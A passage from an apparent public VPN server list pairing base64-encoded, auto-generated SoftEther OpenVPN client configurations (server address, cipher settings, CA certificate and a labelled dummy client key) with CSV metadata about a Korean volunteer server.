IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMTkuMTkzLjIyNi4xNzIgMTYzNw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn832579312,121.157.161.14,529481,31,172981329,Korea Republic of,KR,10,1000,9157,1460747877737,2weeks,DESKTOP-JMMU923's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJ